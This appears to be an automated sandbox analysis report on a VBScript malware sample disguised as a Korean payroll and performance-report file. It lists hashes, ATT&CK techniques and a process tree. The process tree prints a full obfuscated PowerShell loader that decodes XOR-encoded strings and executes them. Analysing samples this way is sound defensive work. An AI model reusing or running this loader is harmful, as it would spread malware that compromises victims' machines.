4c0d1e5d7983d740d37c0c1f6bc6a4d6ecd19a77136e8f2ac26baaa4eddad0a0

General

Target
급여 파일 및 근무 성과 보고서.vbs
Size 52KB
Sample260525-rl2mcaay2q
SHA256 4c0d1e5d7983d740d37c0c1f6bc6a4d6ecd19a77136e8f2ac26baaa4eddad0a0
MD5 b92e4a7ca29b36a5d1b2c7d2bd508e6c
SHA1 c1db46f114ac45d788a089724825c7e043807c6a
SHA512 6fea65b61e5bf7307d18598e0a24486087985ebe979fe3535abaa2ceaeed7e8da6e3671be778cd91dcd4366f9bb285683c87016d0f1e464d67114fb58b01c94e
SSDEEP 768:lyngxx6BVk+pZ26STAtBOn1XO4aSmmrKOKpCPYOn1P/KRSwy8h:ly0+VfpE6SToBm1a5mrNKEbKQwy8h
TLSH
T18E332A21EDE1173A1D4327FFEC94AA31957C8A69413804ECF9E8B319600977C7B7DA68
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1580	WScript.exe
3	1580	WScript.exe
4	1580	WScript.exe
5	4440	powershell.exe
6	4440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4376	ping.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4376	ping.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 4376	1580	WScript.exe	81
PID 1580 wrote to memory of 4440	1580	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\급여 파일 및 근무 성과 보고서.vbs"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\System32\ping.exe
  ping Bera_6637.6637.6637.657e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mp 'wisecrack' 'reprinter' 'galleris';$saudiarabers=4;$hoover=55;function elaeagnaceous ($parametrisfar,$purest) {$extragalactic255=vurderingstidspunkts('gennembryder Kolkoz Queal Klikesprog Ekstraarbejde Bjlkffff[rrrrijjjjn LLLtl,ll]bbbb$VVVVp eeeaaaaar- --aBBBBm yyyeYYYYtkkkkrnn ni UU,s%,%%fKKK a z,zrpppp vvvv-kkkkbSSSSx') ;$extragalactic255+=vurderingstidspunkts('Repromised Kai Tegningsret Uddelende Melankolis Brattle>>>>o ;;;rmmmm ####[& &&iuuuun<<.<tZZZZ]ZZZZ$kkk.pddddu XXXrbbbbeyy,ys e etQQQQ ');;misderiving ($extragalactic255)}function vurderingstidspunkts ($cancerigenic,$vitiates) { $featherstitch=$saudiarabers+$hoover; do {$islam+=$cancerigenic[$featherstitch];$featherstitch+=5} until (!$cancerigenic[$featherstitch])$islam}function misderiving ($purestrookweed,$glum) {&$aliyos $purestrookweed}$unpiratically=vurderingstidspunkts('Trstende Lanterning Baandsprjtningerne Deskriptioner Gn lll:PPP :');$posletten=vurderingstidspunkts('Sletning Aftensanges Faltboat Aralkylated Exchangeably GGGG.');Function pencatite ($cancerigenic,$detaljeprojekteringer=0){ ;$jole=vurderingstidspunkts('Minacious Lagerforbrugenes Bestyrelsernes Broderende Crppp,$t ttsnnnnc mmmr **.i t tpFFFFtNN N:eeeenmmmmo gggn ;;.sZZZZcKKKKh gggeD DDm S.SaYYY tSSSSiRRRRs ccce++++dZZZ =v.vv[ >>>CVVVVo');$jole+=vurderingstidspunkts('Paintingness Smearcase Obstruktionstales Sirup Stueplan&&&&nMM Mv----e jjjrJJ,Jt rrr]');$jole+=$unpiratically;$jole+=vurderingstidspunkts('Inirritability stikleris Finderup Hyggeligste SvaghedstE EEF????rEEEEottt,m zzzB ___aAAAAsmmmmeYYYY6ggg 4.%%%St,ttt UUUr mmmiYYYYn::::gH HH(JJJJ$/.//c oooa ,IIn fffcllllehhhhrHHH iAAAAg.gggeYYYYnJJJ,i<<<<c====)');misderiving ($jole);For($featherstitch=0; $nonschematised[$featherstitch] -ne $nethring; $featherstitch++){$nonschematised[$featherstitch] = elaeagnaceous $nonschematised[$featherstitch] $purestombazette[$featherstitch%8]}$correctant=vurderingstidspunkts('Malene Humoralistic Notifies Unexpressively swingpjatte vvv$gg gs YYYcyyyyrUUUUi ** pyyyyt~~~ :FFFFkAAAAed ddn qqqneeeei~~~~sLLLL=XX X[');$correctant+=vurderingstidspunkts('Supereloquently Cathinine Megmho Computerspil Triangulevvv,Taaaaeu uuxRR Rt');$correctant+=$posletten;$correctant+=vurderingstidspunkts('Schoolgoing Mimodrama Miljskadet Konsummlks Dejligstes ##.#ExxxxnQQQQc&& &ojjj.d&&&&iFFFFn vvvgLLLL]');$correctant+=$unpiratically;$correctant+=vurderingstidspunkts('Deporteret Knowe Postsystemets Fritidsklubbernes UnbegoBBBBAYYYYS gggCjjj I wwwI');$correctant+=$posletten;$correctant+=vurderingstidspunkts('Tvillingessters Swampy Angiostegnosis Brauneberger UsalBBBBG :::e .iit >>>ScccctMMMMr kkkiSSS.n wwwg>>>>(!!!!$OOOOn XXXo +++nGGGGsHHH c~~~.h**.*e rrrmgg.gaF,FFt.uuuiNNNNsOO OennnndL LL)');misderiving ($correctant);if ($detaljeprojekteringer) { misderiving $kennis}else {;$kennis}}$aliyos=vurderingstidspunkts 'Physoderma tilstedevrelsespligts Velbeholden Blesser UnFFF,I';$aliyos+=vurderingstidspunkts 'Desideratas Methedras Tongrian Piragua Sejrsfaners battXXX E';$purestombazette=@(73,108,112,97,107,107,101,114);$aliyos+=vurderingstidspunkts 'Legatbestyrelser Sykofanten Unpouched Torturing tandempNNNNX';$purestifoliolate135=pencatite 'fEJAQUM8DBwtAwcSSyUxUnhcXlFQSzIbJ1pEWksTU0ZyTAIXUVpQQmdcWUEsDgYZJkNCUVpbVUN5XVAnAhkAFCYUX1BeW0tC';$congolese=pencatite 'IRgEERhRSl0qDRwIDx4IXyYcAgQGCksRJgFfAgwCSBomARVOIw4BCzpCHRIC';$underpopulation=pencatite 'dw==';$covertness='\Astmatikere.Far';pencatite 'bQscDgkKCUgrGRUGCgUCAXRIFQ8dUQQCOQgRFQpAQREmGhUTHwUAATo=' 1;pencatite 'bQscDgkKCUgvAwISBgoEFz1RVAIEBQIdJQkDBEUYFR4gGFhFHgUBFzscHxEeBwQGIAMeSA==' 1;pencatite 'EiIVFUU4AAA/BRMEOwQMHD0hEQ8KDAAAFFZKMg4IEAAgGAkxGQQRHSoDHFxYW1JA' 1;$congolese=$forsmaaet[0];$slackie=(pencatite 'bQscDgkKCUg6GBEPDwoXFisJBAQMBQAeOgkCDw5WKxc+QT8DAQ4GBmkiFRVFPAAQCgAZBAUf');misderiving ($slackie);pencatite 'bR8EAAUPBAAtDhUVDgwLFyUfFRMFDks6LA0UBBkYPikHCQRPIx8RAhsJARQOGBE6LA0UBBk2UUIUUVQRHhkAAT0FFg4HAgoeKBgVUFhe' 1;$patenterne=pencatite 'DQMHDwcEBBYPBRwE';$spyttekrusets=pencatite 'bR8EAAUPBAAtDhUVDgwLFyUfFRMFDktWOQ0EBAUfAAAnCV4oBR0KGSxEVAIEBQIdJQkDBEdPExcsBhEYQg==';$veejay=$buegangs;pencatite 'bQscDgkKCUgtBgIXDhkAQHhUTUk/DhYGZDwRFQNLQQQsCRoAEkI=' 1;while (!$djrvere218) {pencatite 'bQscDgkKCUgZDREKDgUBBnRIBBMeDg==' 1;misderiving $spyttekrusets;pencatite 'GgAVBBtDUVs=' 1;pencatite 'bQscDgkKCUgtBgIXDhkAQHhUTUk/DhYGZDwRFQNLQQQsCRoAEkI=' 1 ;pencatite 'bQscDgkKCUgiHhURGR0AADpRVAYHBAcTJVYYCwQdCxcnCQNKQE5BFCYeAwwKCgAGZw8fFAUf' 1;$congolese=$forsmaaet[$kreprvers]}$styningers=146580;$sardis=19942;pencatite 'bQscDgkKCUg+CRwNCggUBygFHhUOD1gVKkxUFw4ODxMw' 1;pencatite 'bQscDgkKCUgbCQQNAgUAFixRKyIEBRMXOxgtW1EtFx0kLhESDl1RIT0eGQ8MQ0EFLAAcAAgaEBMgAgQED0I=' 1;pencatite 'bQscDgkKCUg6BRwXDhkRGzlRKzUOExFcDAITDg8CCxUUVkogOCgsO2crFRU4HxcbJwtYRTkOER4gAhUFDkI=' 1;pencatite 'bQscDgkKCUgvHhkNDFZBASAABgQZHwwCZx8FAxgfFxsnC1hFGB8cHCACFwQZGElWOg0CBQIYTA==' 1;misderiving $frilg;"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_cej5akkx.dqu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cej5akkx.dqu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4440-2-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

memory/4440-3-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

memory/4440-4-0x0000023860A50000-0x0000023860A72000-memory.dmp

Download

memory/4440-11-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

memory/4440-12-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

memory/4440-13-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

memory/4440-14-0x000002385E8D0000-0x000002385E8E0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads